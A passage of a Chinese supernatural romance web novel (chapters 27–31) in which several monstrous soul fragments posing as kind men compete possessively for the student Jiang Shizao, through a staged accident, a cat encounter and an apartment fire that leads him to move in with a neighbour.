等进到了里面，更是琳琅满目。整座空间错落有致，银白书架蜿蜒如河流，在这个时段，暖色调的灯光仿佛为每一本书镀上了金边。 很快江时早就发现，这家书店的每一层楼都根据图书的分类设计成了不同的风格。 一路上，温浅川领着左张右望的江时早来到了存放悬疑灵异类小说的三楼分区。 他们挑了一个靠窗的位置。 虽然靠窗，但这里的阅读环境设计非常幽谧，每一处阅览区都像一个典雅的私人阅读空间，只有连接着过道的那一面是开放的。 “哥，我去选书！”江时早放下背包后说道。 看得出来，是很喜欢逛书店的人。 “好，早早你先去选，我一会儿就来。”温浅川微笑道。 “好的哥。”江时早看了眼温浅川拿出的手机，表示明白。 虽然苟命很重要，但热爱工作的哥肯定还是要工作的。 江时早这是以为温浅川有工作上的事需要处理了。 温浅川微笑的唇角僵了一下。 等看着少年的背影转入了书籍区，这个坐在窗边的人才放下手机，脸上神色也在顷刻间发生了变化。 卸下了伪装出来的斯文与温润后，这个人看起来既冷漠又有几分邪戾。 很快，温浅川的视野中，黑色如海水般在他的周围淌开。 如果江时早此时回头，会看见温浅川坐在窗边沉思。 然而实际上…… 黑暗铺开后，一声冷笑就在这片看似与外界分离了的空间中响起了。 笑的人不是温浅川，但听见这道声音温浅川就烦。 温鹤临说：“你带着早早逃课了。” 由黑色连接起来的空间里，此刻正站在学校天台边的温鹤临，看着虚空中温浅川的轮廓，也很烦。 白大褂被夜晚的风吹得猎猎作响。这个人摘下了鼻梁上的金边眼镜。 这时，温浅川开口道：“先用你的脑子想一下之前发生的事。”脑子是个好东西。不能灵活运用不如…… “哪件事？”温鹤临明知故问道。一想到对面这个人对早早做了什么…… 天台上的人指节都捏响了。 温鹤临冷笑一声。 “你今天引诱早早做了什么，以为我不知道吗？” 要说起这个的话，温浅川心底就稍微有些得意了，但他收敛着自己的愉悦，缓缓说道：“早早现在在铃城。好不容易……他是我……们的了。” 勉强改口为“我们”的温浅川也在心中冷哼了一声。如果不是为了先对付001，话会怎么说那就不一定了。 “呵呵。”温鹤临笑不达眼底。 至于温浅川口中的“001”。 “的确没想到他还有这种能力。”提起这个人时，温鹤临的眼神也变得凌厉，但是…… “被控制的人是你。”温鹤临看了眼温浅川，又一道冷笑，“果然，连‘四个轮子的车驾照都没有考下来的人’……确实不太行。” 听着这阴阳怪气的声音，温浅川的太阳穴连跳了两下。他笑了：“你在学校里又对早早做了什么事，忘了吗？” “什么事？”温鹤临这时倒是抬手摸了摸下巴，“都是对早早有益的事……”毕竟在早早心中，他可是体贴入微的校医啊。 温浅川：“呵呵。” 既然话已经说到这里了，温鹤临话锋一转：“你怎么不说，便利店里的那个又做了什么？” 话一出口，几乎瞬间，黑暗中所有的存在都沉默了一下。 南岸便利店里的那东西…… 入侵早早的梦境，还在梦境里将早早缠绕得那么紧…… 书店中，温浅川的眼神霎时一沉。因为……他也想。 想和早早紧密的交缠在一起。 再也不分开…… “竟然还让早早舔到了触手的根部……” ……真是想给它砍下来。 一道道目光暗沉又汹涌。 在这片常人无法感知的黑暗维度里，此刻对话的人虽然只有两个，但这片黑暗中似乎还有不少存在潜伏着，悄无声息地听着，又贪婪地觊觎着那个他们都心心念念的人。 阴影中的眼睛盯着书架间那个对一切尚无察觉的身影。 ——江时早的身影。 一瞬间，黑暗中的灵魂翻涌出同样的渴望： 占有他。 永远……留住他。 “你们也不想001进入铃城吧。” “只要解决了001……早早就能永远留下来了。” 到时候谁能拥有早早，那就各凭本事了。 这一刻，黑暗中的怪物们仿佛达成了某种共识。 “对了。”就在这片黑暗即将如潮水般退去时，坐在书店窗边的温浅川再次开口，视线也隔着空间的距离，落在温鹤临身上。 “那个转学生……既然他还在学校里，你就盯紧点。” 他们说的是温序。 “那片灵魂之前一直在铃城之外的空间游荡，这个节骨眼上进入铃城……” 鬼知道这东西是个什么东西。 万一对方和001有联系，这会让事情变得更加麻烦。 温浅川可不想再给001任何机会。这个人最好的归宿是死在外面。 而且，温序一个刚到铃城的灵魂碎片，凭什么和他们抢早早的时间。 黑暗中，温鹤临哼了一声，寒着张脸道：“我来处理他。” 第28章 第二十八章 “碰瓷” “哥！” 江时早抱着厚厚一摞书回来时, 温浅川的眼皮微不可察地跳了一下。 不过这个人伪装得很好，不仅笑的温和，还立刻起身接过了江时早手中的书, 体贴入微地放在桌上。 坐下后, 温浅川才恰到好处的表现出一点点的惊讶：“早早要看这么多书吗……？” 江时早沉重地点了点头说：“哥, 你看看这里面有你看过的吗？” 江时早还找到了作者“川”新出版的小说。想到温浅川对这位作者的了解，“哥，‘川’的新书你也看了吗？” “对……他的书我都看过。”温浅川应道，随手翻了下早早选来的这摞书，指了几本，“这些……倒是没看过。” 实际上这个人装模假样地看了一眼后，心中就嗤了一声。这不都是其它怪物写的书吗。 早早还真是……挑得好。 不过真说起来，这些书店和书能够存在, 也是为了早早…… 江时早点着头将温浅川点的那几本抽了出来, 推到温浅川面前：“那哥你先看这些，这些书我都买下来了！” 温浅川：“……好的早早。”并不想看。 但发现江时早准备看“川”的新书，心中又愉悦了。 九点半时，已经将新书阅读完一半的江时早看了眼时间，准备回家。 “早早，一定要回家吗？”走到书店外时, 温浅川试探着问了一句，心里清楚希望不大, 但还是要说，“我们分开的话，万一那个游戏忽然找上了你，怎么办？” 实际上，江时早也不想一个人回家！再听温浅川这么一说, 心都颤了一下。 ……但是他还有维持人设的任务。今天估计是有通关副本和请假成功的双重Buff在，自己才安全过到了现在。 而且，“明早还得上学……”江时早眼里的光都黯淡了一下。自己最好还是老老实实的回家吧。 不久前他还收到了温序给他发来的课堂笔记照片。能看出来，尽管被卷入了未知的无限流世界，温序还是很认真的在上课。 而在得知自己请假后，江时早的铃高好朋友林西更是连今天的每科作业都给他打包发了过来。 “……”对了，“哥，附近有奶茶店吗？”江时早望向温浅川。 “早早想喝奶茶了……？” “我给邻居带一份奶茶回去，他快下班了。”江时早毫无心眼地说道。 一天经历了这么多意外，还没有忘记昨晚答应请温执喝奶茶的事。 “好，我带你去。” “哥，你喝吗，我请客。” “那多不好意思，你还是学生，我请你吧，早早。”温浅川说到这里时语气格外温和。这个人唇角微扬，想着自己付钱，早早带给那位“邻居”的奶茶就不算早早请的了。 希望对方喝的开心。 “还有谢谢你借我这么多书看。”温浅川说着就拎了拎手里的书袋，都是江时早给他的。 江时早还是感觉有些不好意思。他今天已经很麻烦温浅川了。但现在的江时早在面对温浅川时，好像无论对方说什么，他都会潜意识先认为温浅川说得对了。 最后两个人又散步到了奶茶店。 很快江时早的手里就提着两杯冰奶茶了。温浅川很自然地把温执那杯的钱也付了。 “哥，我们一起坐公交回家？” 温浅川正要应下—— 突如其来的嘈杂声打断了两人的对话。 江时早本就格外谨慎，听见奇怪的声音时，当即就转向了声音来源。心脏都瞬间跳快了好几拍！ 温浅川看着身边因为刚刚的动静差点蹦起来的少年……可爱的简直让人想将人揽入怀中用力地吮吸。 但妄想归妄想，温浅川看向动静的制造者时，眼神明显冷了一瞬。 江时早也正小心翼翼地望着那个方向。 距离两人不远的路口，发生了一起意外。 一辆轿车撞倒了一个……残疾人？ 事故发生后，江时早已经听见了吵闹声。 主要是撞人的司机在怒骂：“残疾人还在马路上乱逛！” 而那个被撞的人好像无法自己站起来，对方正用一只手勉强支撑起上身，轮椅则倒在了一旁。 感觉很严重……江时早皱着眉想。 司机撞人后就从车上走了下来，先检查了自己的车子，然后转身对着被撞的人骂骂咧咧。 这时有路人说了：“明明是那辆车想闯最后一秒的黄灯，还压上马路把人撞了，真嚣张啊。”不过说话的路人仿佛赶时间一般，说完也没再关注，匆匆离开。 “是不是得报警……”江时早话还没说完，就看见那个司机好像要动手，“！！！” 怎么会有这么嚣张的人！ 江时早：“你干嘛呢——！” 温浅川：“早早等等……” 两人的声音几乎同时响起。 只不过江时早是对着那个看起来就要动手打人了的暴躁司机喊的，温浅川则是想拉着江时早离开。 被撞的人和司机在听到声音时，几乎同时转向了他们。 只是被撞那人的动作有些缓慢，等他的视线勉强转过来时，江时早怔了一下。 被撞的人有一头很顺的长直发，之前一直背对着他们。江时早原本以为那是一位身形修长的女士，被歹毒的司机撞伤了。 结果四目相对，看着对方英气逼人的五官，微拧的眉峰，还有……突出的喉结，江时早意识到了这是一个男子。 撞人的司机听见声音后就打量了眼江时早和温浅川。 像是没想到会有人多管闲事，气势顿时削了些，但还是指着江时早吼了一句：“小子，劝你别多管闲事。” 说着司机又指了指被撞那人，“像这种碰瓷的人，爷爷我见过太多了！” 温浅川的视线也在司机和地上那人之间来回了一转，差点冷笑出声。就该早点拉着早早走，这可不就是来碰瓷的吗。 地上那人对上温浅川的视线，趁着江时早与司机对峙的瞬间，眉头挑高了一分。 “我……已经报警了！”江时早也作出了一个气势汹汹的表情，还扬了扬手里的手机！ “早早……”温浅川低头唤了下已经被某人碰上瓷了的早早，“报完警我们就走吧。” 听见温浅川的声音，江时早点了点脑袋，小声说：“哥，那你报警吧……我还没报。”实际上江时早根本不知道铃城警局的报警电话。 不过那司机好像被“报警”两字唬到了，居然掉头就跑回了车上，车门猛地关上。然后在几秒钟的时间里就扬长而去了…… 江时早目瞪口呆。 “不是他……他就这么跑了？！”这难道不是肇事逃逸吗？！ 江时早下意识往前追了好几步，发现司机是真的跑了。他已经完全看不见那辆车了。 但是…… 受害者还这里！ 江时早再次与受害者四目相对了。 下意识脱口：“你……你还好吗？我帮你叫救护车。”注意到地面上没有血迹，伤者的身上也没有血迹，江时早不由得松了口气。 应该没有撞得特别严重。对方的眼神很清明，没有失去意识的迹象。 而他说完后就又跑了几步，先帮对方把轮椅扶了起来。 温浅川落后江时早数步，脸上的冷笑已经不加掩饰，此刻居高临下的目光落在某个“残疾人”身上时，眼神仿佛在说：我看你准备怎么编。 这个制造出动静，利用早早的好心来碰瓷的人，正是鲜少露面的，栖身在铃城北岸的某个灵魂碎片。 江时早没有发现身后的暗流涌动，他此刻正皱眉看着自己勉强摆正的轮椅，“这个好像不能用了。” 说完回头时，温浅川刚好来到他身边，“没事早早，我刚打完电话了，救护车马上就到。医院有轮椅，而且……我们现在最好不要移动伤者。” 江时早认同的点了点头，他再次看向伤者，发现对方也正望着自己。 看着对方现在的模样，江时早有一丝于心不忍，“你现在感觉怎么样？有什么需要的吗？” 本来就行动不便，还被车直接撞倒在了地上，暴躁司机不仅甩锅更是逃逸了。 “……”江时早沉默了一下。 “谢谢你。” 这时，长发男子开口了，他看着江时早，缓缓说道：“我叫温既明。” 一听这人说话，温浅川心中就想冷笑。没人问他的名字，还真懂自报家门。 “不用谢，我也没做什么。”江时早见对方还望着自己，下意识就蹲了下来，同对方说话。 温浅川：“……”早早还是太好了。 结果下一秒，就听见那个自称温既明的人说： “浅川，好久不见了。” 温既明压住自己的唇角，余光看见江时早的眼中出现了一道惊讶的情绪。 温浅川沉默了一下。 然而江时早已经望向了他：“哥，你们认识？” 温浅川勉强扯出一个笑容，但不等他回答，温既明已经继续编道：“我是温浅川的叔叔。” 江时早：“？！！” 温浅川：“………………” 注意到温浅川的指间都捏白了，温既明原本淡然的脸上这才浮现出一抹温和笑意。 “你是浅川的朋友吗？”温既明的视线回到了身边的少年身上。 江时早还蹲着，但是脸上情绪明显有些惊讶，他看了眼温浅川，又看向温既明：“叔叔……？” 江时早心里正想着哥的叔叔长得真年轻。根本看不出来…… 可能是因为骨相太好看了，声音也很好听。 江时早完全没想过对方的年龄会是温浅川的叔叔辈。 见温既明还看着自己，江时早心底莫名有了一点见长辈的紧张：“叔叔好，我是浅川哥的……朋友。” 他和哥都是互相帮助过的好兄弟了，还一起闯关了一个副本，肯定算是朋友！ 江时早说完就望向了温浅川，心想这是温浅川的叔叔，他们叔侄应该更有话说吧。 温浅川实在没想到这个人会这样编。因为这层关系，早早现在明显对对方放松了警惕。 “是有很久没见了。”温浅川说了句。心里已经想让对方真正用上轮椅了。 “哥你一会儿要陪叔叔去医院吗？” “我……”温浅川只想送江时早回家。当然，如果可以，他更想江时早跟他回家。 但温既明既然都编出这样的鬼话了，如果放任对方不管，很可能影响到自己在早早心中立的形象。 “我陪他去医院。”温浅川换了一口气，旋即又说道，“早早，你一个人回去我不放心。”温浅川还想争取一下。 “没事的哥，我可以一个人回家。”江时早看了眼时间，一会儿刚好能赶上他经常坐的那班夜间公交车。 江时早又转向了温既明，发现对方的目光似乎在自己手中的奶茶上停留了一下。 “叔叔，你口渴吗？要喝点水吗？” “可以吗？”温既明没有拒绝。 听着两人对话的温浅川有些无语。 然后就看见那鬼东西不要脸的把早早的那杯奶茶骗走了。 “……” 哪个活人被车撞了之后还要喝奶茶的？ 温浅川都要气笑了。 第29章 第二十九章 猫！有猫！ 出于礼貌, 江时早陪温浅川一起等到了救护车到来。 “早早，早点回去，注意安全。”温浅川最后上车前又叮嘱了一句。 “好的, 哥你要是有什么事也记得给我电话, 发信息也可以！” 江时早说着, 站在路边挥了挥手，视线微微转向左边时，目光便与救护车上的那位长发男子相遇了。 可调节倾斜度的医疗床前段正以近四十度的角度支撑着温既明的后背，让他看起来像是背倚着那张床。 四目相对时，江时早下意识道别：“叔叔再见。” “时早，再见。”温既明看起来神色自若，但他的面容在救护车白色的灯光下无疑更显得苍白了几分。 等到救护车的门关上后，江时早看着逐渐消失在了夜色中的红色灯光, 这才转身大步走向了不远处的公交车站台。 ……最后还是错过了自己常搭的那一时间段的车。 不过还好下一班车也就比往日晚一刻钟左右到家。 在江时早坐上公交车时, 救护车里，温浅川正抱臂而立，俯视着那个半倚在医疗床上的人。 “还要装到什么时候？”温浅川冷声开口。 医疗床上的温既明垂眸低笑了一声。下一秒，那双在江时早眼中似乎完全无法动弹的双腿，此时十分轻松地便落在了地上。 温既明灰白色的风衣下摆随着他的动作微微晃动。 这个人站起来后，身高与他对面的温浅川几乎等高。 两人终于“平视”起了对方。 温浅川讥讽道：“喜欢装病弱？”骗早早的关心？ 温既明这时不紧不慢地拿起一旁的奶茶, 插入吸管，然后喝了一大口, 喉结也随着吞咽轻轻滚动。 即便如此，这个人的举止看起来仍旧优雅十足。 数十秒后，温既明才说道：“味道不错。”甚至抿了抿唇回味。 “……”温浅川额间的青筋又跳了一下。 温既明的目光落在手里的奶茶杯上，“昨晚早早给那个新来的买了奶茶。” 听着这仿佛前言不搭后语的话，温浅川也笑了一声：“所以你也想喝了？” 江时早昨晚的确请温序喝了一杯奶茶。 温既明这时抬起眼眸, 救护车里的气氛瞬间更加凝固，两人的视线在不算宽敞的空间里交锋，气势上谁也不让谁。 最后是温既明先移开了目光，他的指尖轻轻地摩挲起了奶茶杯。 “以前不是不屑离开你的北岸吗？”温浅川嘲讽道，仿佛想到了什么好笑的笑话，下一秒，这个人就吐出了两个字，“叔叔？” 实际上，温既明存在于铃城的时间远比温浅川晚。但对方看起来确实更年长。 温浅川十分清楚温既明这片灵魂碎片诞生于何处。 001曾经在一个副本世界中度过了近三十五年时间。 温既明这片灵魂就是在001通关那个副本时分裂出来的碎片。 “之前你们是守着一具虚构的空壳。现在早早既然真的来到了铃城，我当然要来看看他。”温既明语调轻缓，在说到他口中的人时，颇有点深情款款的感觉。 温浅川指出：“你手里那杯原本是早早要喝的，早早买了两杯，另一杯是带给便利店里的那东西的。所以，这就是你给早早准备的见面礼，抢了早早的奶茶喝？” “……”忽然被一串炮轰的温既明难得也沉默了两秒。 但沉默之后，这个人又拿起奶茶喝了两口。 “既然大家都喝到了，那我更要尝尝了。”温既明低垂眼眸，款款述道。心里则已经想好了下一次与江时早偶遇的理由。 不过在温浅川的又一记冷嘲到来前，温既明还是开口说了点正事：“001来过了。” 话题突然转变，两人间的气氛也变了一些。 温浅川不露痕迹地皱了下眉，正想到这件事他们不是已经谈过了吗，就听见对面的温既明说道：“在你杵在早早面前无孔不入地释放魅力时，001已经进入了一个连接着铃城边界的副本空间。” 闻言温浅川下意识要回怼两句，但温既明后面的那句话又让他欲言又止了。 “什么时候的事？”温浅川问。 “你和早早在书店看书时。”温既明说。说完又喝了口奶茶。 温浅川皱了皱眉，那确实是他疏忽了。但在书店时，他可没对早早做什么——不过温浅川稍微一想就明白了，对面是真的酸了。 但温既明依旧不动声色，只是低垂着眼眸继续喝起了奶茶——这个口感很甜。尤其在经过了早早的手后。 又过了数十秒后，温浅川再开口时，看起来是已经了解完情况了：“001想通过铃城东岸的那个缺口进来？” 但下一秒，温浅川就又皱起了眉：“东岸的那个碎片现在为什么不在它的领域里？” 这种时刻，东岸边界居然没有东西守着。明知道001很可能从那一侧的空间裂缝进入铃城。 “你说它。”温既明抬了抬眼眸，“之前在副本中与001交手了。可能受了一丁点儿的轻伤。” 不过温既明的话还没有说完，对面温浅川的脸色就已经又黑沉了几分。 温既明看向温浅川：“看来你已经知道它的动向了？” 温浅川呵呵了一声。 是的，他已经知道东岸那片受了“一丁点儿”轻伤的灵魂碎片现在在哪了。 …… 444路公交车上。 打起精神的江时早刚坐过两站路，车上竟然就只剩下他一位乘客了。 “……”说实话还是有点儿害怕。 444路公交车的引擎声在夜色中格外沉闷，江时早还是坐在车后方靠近下车门的位置。 不过就在车门关上后没多久，本就警惕的少年很快就发现了不对劲。 除了他和公交车司机，这辆车上还多了一个东西！！ 猫叫声第一次在这片空间中响起时，老实说，江时早感觉自己全身的汗毛都颤栗了一下。 这要是换成原来的世界，江时早必然不会是这个反应。 但这里是铃城。 听见猫叫声后的江时早视线已经开始既克制又谨慎地搜寻了起来。想要确认目标的位置。 猫！有猫！哪里来的猫—— 这个点出现在公交车上！ 是真的小猫，还是…… 然后就在江时早无比紧张的状态中，一只看起来本应十分矜贵的蓝眼黑猫出现在了他身旁的过道里。 一人一猫的视线对上时，黑猫又拉长了声音“喵～～～”了一声。 这声音听着要多无害就能有多无害——直接奔着将人的心融化的档次叫唤出来的。 江时早在看清黑猫的模样时就愣了一下。 它真的太好看了…… 更别提黑猫柔软的叫声…… 这绝对不可能是危险生物。 前后不过一分钟，江时早的心境已经发生了连他本人都还没有意识到的天翻地覆般的转变。 “喵～～～” 黑猫睁着自己蓝眼睛，这一刻看上去竟然有些委屈巴巴。 它向江时早伸了伸自己的左前爪。 此刻完全被黑猫吸了神的江时早自然一眼就发现了它前爪上的伤口。 “你……你受伤了？” “喵～” 黑猫的眼神更可怜了，它歪了歪脑袋，十分懂得利用自身的优势。 江时早的心都要化了。 等他反应过来时，他已经把跳上他身旁座位的黑猫抱到了自己的腿上。在黑猫再次伸爪时，江时早一只手轻轻握住了猫爪没有受伤的部位，然后低头小心翼翼地给它吹了吹伤口。 “喵～”黑猫眯了眯眼。 顺势就将脑袋也往江时早的怀中拱了拱。 另外一只爪巴更是在江时早的身上扒了又扒。 江时早感觉猫猫在踩自己，还有些痒痒的，眼中忍不住浮现笑意。看它这么活波，江时早也放心了些。 不过它太好看了，不像是无人饲养的流浪猫啊。 “你是怎么一只猫跑到公交车上来的。” 江时早先是挠了挠黑猫的下巴，那之后又忍不住摸了摸它的绒毛。 “你的主人呢？” 黑猫这时又歪了歪脑袋，像是没有听懂，但装完之后又开始用脑袋蹭江时早的手。 江时早被它蹭的连对铃城夜晚的恐惧都消散了几分。 准备一会儿就去温执的便利店里买一些猫粮。如果它一直跟着自己的话。 “温执哥的店里应该有猫粮。”江时早握着猫猫的爪巴说。 但黑猫这会儿的动作却是明显僵硬了一下。 “喵？” 听见“温执的店”时，有一瞬间，它的蓝色瞳仁都收缩成了一条细线。 江时早刚刚才跟温执发过信息，说今晚会晚一刻钟左右到店。 第30章 第三十章 感动+1 临近深夜十一点时, 提着奶茶的少年像昨夜一样走进了便利店。 “叮咚，欢迎光临。” 熟悉的自动欢迎声响起，在安静的空间里格外清脆。 不过这一次, 进门后的江时早一眼就看见了前方不远处的温执。 温执正站在零食货架前整理商品, 浅绿色的围裙系带在这个人的腰间勾勒出一道紧致的肌肉线条。 “早早, 你回来了。”温执听到动静，转过身面向了少年。 这个人的嗓音如他的人一样温煦。 今天的温执也穿着昨天那件浅绿色围裙，围裙上的猫咪刺绣一下子就吸引了江时早的目光——再次的。 “早早喜欢猫吗？”温执注意到眼前人的视线，温声开口。 江时早点了点脑袋，两步走到了温执身前，将手里的奶茶递上，“哥，上班辛苦了, 你的奶茶！” 温执含笑接过奶茶, “谢谢早早。”又说道，“早早，今天想吃点什么吗？” 江时早看了看收银台的方向，便利店今晚好像又剩下了很多关东煮。 但不久前他才和温浅川在书店的顶层餐厅里吃过了晚餐，于是说道：“哥，我现在还不饿, 我们一起回家吧。” “这样吗。”温执闻言微微垂眸，一缕思考的痕迹在他的眼底一闪即逝, 旋即这个人就又笑得很温和的说道，“好，早早等我。我去换衣服。” 等到温执换好常服出来时，便利店的另一个员工也跟在其身后出来换班了。 “走吧，早早。” “好！”江时早应道。他刚刚用自动收银机结账了选购的物品。 温执的目光这时落在江时早手里的便利店口袋上, “这是？” “猫条和猫罐头，还有一支宠物用的外伤喷雾。”江时早说着，不好意思地笑了笑。和温执一起前后走出了便利店。 “早早养猫了？” 夜色与灯光下，温执的声音如常。 江时早便与温执分享了公交车上发生的事：“我刚刚在公交车上遇见了一只猫。” “然后呢，发生了什么？”温执眼眸含笑，似乎很认真的在倾听身边人说话。 江时早叹了口气：“本来想带它回来的，但是在两站路前，它忽然从车窗跳下去了。” 说到这时，江时早还有些可惜，那只很乖的黑猫明明黏了他一路…… 但在444路公交车快抵达南岸第十二站时，原本还在舔舐着江时早手指与手背的黑猫忽然就从江时早的怀里跳了出去。 不等江时早反应过来，黑猫的身影已经非常轻快地落在了过道另一侧的座位上。 然后又跳到了敞开的车窗边。 等江时早站起身时，黑猫还回头望了他一眼。 那眼神……好像十分不舍。但下一秒，黑猫就跳了出去。 江时早跨过过道看向车窗外时，只能看见黑猫站在一盏路灯下，在望着公交车的方向。 它看起来十分可怜，那一刻，它真的像一只被主人遗弃了的无家可归的猫了。 就那样望着江时早远去。 …… “所以这些是早早买给它的？”温执看了眼少年提在手里的便利袋。 江时早点了点脑袋：“如果还能见到它。”——江时早希望。万一呢！ “嗯，希望吧。”温执微微眯眼，心下的某个想法也在这一刻确定了。 两人沿着街道走向铃河小区的西门。 结果还没走出多远，就听见小区里传来了此起彼伏的尖叫声。 突如其来的混乱，让江时早的脚步顿时就顿住了：“……” 他的全身紧绷。只听这动静就感觉事情不简单。 那一瞬间，一墙之隔的小区内好像有无数的声音混杂在了一起，它们来自小区中不同方向，有高有低，还有人在大声呼喊。 而在变故发生时，温执瞬间就拉住了身边少年的手腕。他牵着江时早，先往夜间无人的大路边靠了靠，动作十分自然的将少年护在了身后。 造成小区中混乱的源头也很快被两人发现。 温执看向铃河小区内一栋楼的第十三层，那里浓烟滚滚，火光在黑夜中撕开了一道猩红的口子。 “糟了，好像是起火了。”温执沉声道。 “！！！”江时早顺着那个方向看过去时，也发现了问题，连同语调都加快了不少，“哥，那是七栋！” 他和温执都住在七栋。 “着火的是十三楼。”温执的语气也少见的变得焦急，“早早，着火的楼层离你家很近……” 江时早住在七栋十四楼。温执十分清楚身边少年的家的位置。 此刻的江时早已经有些不知道该作何反应了，在看清具体楼层与方位时，他的大脑都空白了一瞬，“我家就在着火的那间屋子楼上……” “早早先别慌，消防车来了。”温执原本牵着江时早的手早已抬起，正安抚地拍着少年的背。 消防车的警报声在深夜里十分响亮。 江时早的视野里也已经能看见从远处驶来的消防车了。 一切发生得太快，看着消防车疾速的从西门驶入小区，到七栋的火灾被控制，所有的火苗被扑灭—— 等江时早和温执走进小区，走近七栋时，七栋附近的楼下已经围聚了许多人了。 火灾后的焦糊味混杂着消防水枪的水汽弥漫在周围的空气中，此刻围观的人群有七栋的住户，也有其它栋的住户，他们大多一副惊魂未定的表情。 靠近时，江时早零碎地听见了居民们的交谈声： “还好没有人受伤。” “真是太危险了啊。” “听见爆炸声时我吓了一跳。” …… “早早，跟我来。”温执这时牵着江时早，绕过人群，来到一名消防员身边。 “警官，13楼A户的情况怎么样，之前的火势影响到附近的其他住户了吗？” 13楼A户正是发生火灾的那间公寓。 消防警官看向询问的青年，又看了看他身旁的江时早，“你们是7栋的住户？” “是，我住在17楼。”温执回道，旋即又指了指身边的少年，“我朋友住在14楼A户。” 消防警官的神色瞬间变了一下，他看向江时早，确认般问道：“你是七栋十四楼A的住户？” 警方的反应无疑让江时早也紧张了起来，他点头道：“是，警官，出什么事了？” “哎。”消费警官这时叹了口气，“我的同事刚刚就想联系十四楼A的住户，结果你们家一个人也没有。不过也幸好你们家当时没人。” 警官说完又问了一句，“看你的模样，你应该还是学生吧？家里的其他人呢，他们在哪？” 江时早摇了摇头，“我是一个人住在这里。” “警官，到底是什么情况。”温执问。 消防警官说：“楼下的火势蔓延到了楼上，这位小同学家现在恐怕是暂时不能住人了。”不过消防警官也说了，“但你别担心，社区有相应的补救措施。” 虽然意识到情况可能很糟，但听明白了的江时早还是懵了一下。 火势蔓延到了楼上……家里暂时不能住人了……所以他现在是……无家可归了？ “什么措施？”温执问。 消防警官看了两人一眼，最后目光落在了江时早的身上：“社区会作出赔偿，也会全权负责维修好你的公寓。当然，赔偿金中包含了在公寓修好前，提供给你的租房等各类费用。” 消防警官与江时早一一解释道，社区管理员也在这时赶到了几人身边，再次作出了详细的解释。 就在江时早晕头转向时，温执开口道：“早早，不用那么麻烦，你可以先住我家。” 温执开口时，好几道视线转向了他，当然也包括江时早。 温执看着江时早，四目相对时，他温声开口：“我是一个人住，家里很宽敞，早早你先住在我那里，也好处理公寓这边的事。而且你还要上学，现在时间已经很晚了，再外出不仅不安全，也不方便。” 温执说完，社区管理员连连点头附和：“是啊，江时早小同志，你就暂住在温执先生家吧，大家都是邻居，知根知底，这样有什么情况或进展，我们也能够尽快沟通与确认。” “这样可以吗……？”江时早不太确定。 温执笑得格外温柔，“走吧，早早，我们先去你家看看，然后我们回家。” 消防警官这时也插了句：“门口看一下就行，别进去。我们已经在你家门口拉了警戒线了” 江时早：“……”这么严重吗。 等江时早站在自己家门口的警戒线外往里望去时，发现消防警官当时的话真不是随便说说，他的公寓真的被火灾摧毁得很严重。 家里的客厅地面居然直接破开了一个大洞！ 周围还有大面积火烧过的痕迹，可见当时楼下的火势有多大。 站在门外还看不见公寓更里面的情况。江时早想到当时在小区外街道上看见的大火情况。他不敢想象楼下火势最大的那间屋子将楼上他的卧室烧成了什么样。 “…………”这真的还能维修好吗。 最后江时早跟着温执走进温执在17楼的家时，眼神都还有一点茫然与无神。 这一天真的发生太多事了。 “早早，你先坐沙发上休息一下。我去给你倒水。” 进入玄关后，温执就很体贴地从鞋柜里拿出了一双崭新的拖鞋，摆放在江时早的脚尖前。 “谢谢哥……” 江时早看着为自己忙前忙后的温执，既有些不好意思，又十分感谢对方临时收留了他。 心里已经决定把社区赔偿的租金和生活费都交给温执了。感觉都还不够。 温执端着营养果汁回到沙发时，就看着接过果汁的江时早微微耷拉着脑袋。 少年的双手抱着玻璃杯，一边同他说谢谢，略显放空的眼神又染着几分本人都未察觉到的可怜与委屈。 那模样看起来就像随时会滴落两滴眼泪。 看得温执的呼吸都乱了一下。 “早早，喝口水，别伤心了。” 温执在江时早的身边坐下。抬起的手臂安抚性地抚慰着他身边的少年。 “你在这里住着，住多久都没关系。当自己家就好，早早。” 温执的声音十分认真。 他又说道：“公寓的门锁密码是0727，早早。” “谢谢哥……”江时早刚说完谢谢，下一秒他就怔了一下，并下意识地念了一遍密码，“0727。” “对，早早。”温执应道。一切仿佛如常。但在那温和的表象下，这个人眼底的深邃如同一滩化不开的沉潭，甚至明知故问道：“怎么了吗，早早？” 见江时早望向自己，温执才适时的表现出一点不解。 “没事哥……就是，我的生日是7月27号，所以对这串数字有些敏感。”江时早腼腆回道。 “原来如此。”温执点了点头，温和一笑，“这样很好，早早一定不会忘记密码了。” 江时早又点了点脑袋。还有点借住别人家的拘谨。 温执也不着急。他十分懂得循序渐进的意义。 等江时早的情绪稍微缓和了一点后，温执才再次开口：“对了，早早，之前听你说过，你的班主任是李老师，对吗？” 江时早点头道，“是的，怎么了哥？”有点迷茫温执为什么忽然提起了班主任。 温执这时拿出了手机，他看着江时早，仿佛经过了认真的思考，才建议道：“早早，现在已经快凌晨一点了。发生了这种事，要不明天还是请假一天，先别去学校了吧。” 温执说出了自己的考量。 “你需要休息，更需要调整心情，还有公寓的事需要处理。”温执说着，声音里有几分不舍。 听起来完全是在为身边的人着想。 江时早此刻的心情很复杂。公寓的事确实让他有些分神，可是他今天才跟学校请过假…… 温执看出江时早的犹豫，笑着说道：“我读高中时，班主任也是李老师。我来帮你请假吧，早早。” 江时早惊讶地抬头望向了温执。 “我来跟他说明情况。”温执补充了一句。 “这样可以吗哥？”江时早抱着水杯，望着温执，“可是现在已经凌晨一点了。” “早早放心，李老师现在一定还没睡。” 听着温执笃定的声音，江时早莫名感到很安心。 两分钟后，挂断电话的温执笑着对江时早说：“早早，李老师同意你请假了。班主任很关心你，还让你不用着急回学校，先处理好家里的事……多请几天假也没有问题。” 温执笑得很真心，江时早被对方的笑意感染，心里十分感动。 “真的太麻烦你了，哥。” “不麻烦，早早，我很高兴你住进来。” 温执说的是真心话。 而早早不用去学校，就只属于他了。 再没有东西可以靠近他的早早了。 30-40 第31章 第三十一章 潮湿、阴暗の祂 凌晨一点。 铃城高中。 这个时间点还坐在校医室里的某人, 在得知早早第二天也不会来学校后，终于是冷笑出声。 在这间只有电脑显示屏还亮着光的空间里，几分钟后, 坐在昏暗中的人缓缓摘下了鼻梁上的眼镜。 温鹤临的眼眸里闪过一丝阴鸷。 便利店里的那东西够阴险。 一把火毁了早早的公寓, 然后诱拐早早跟他同居, 最后还在早早的面前装上了好人。 “呵。” 又一声冷哼在校医室里响起。 不愧是用着温执这个姓名的怪物。和外面那个001真是如出一辙的阴险。 温鹤临将眼镜放在桌上面，随后他起身，走到江时早昨天躺过的那张床边。 想到早早，温鹤临的神情才有了变化。 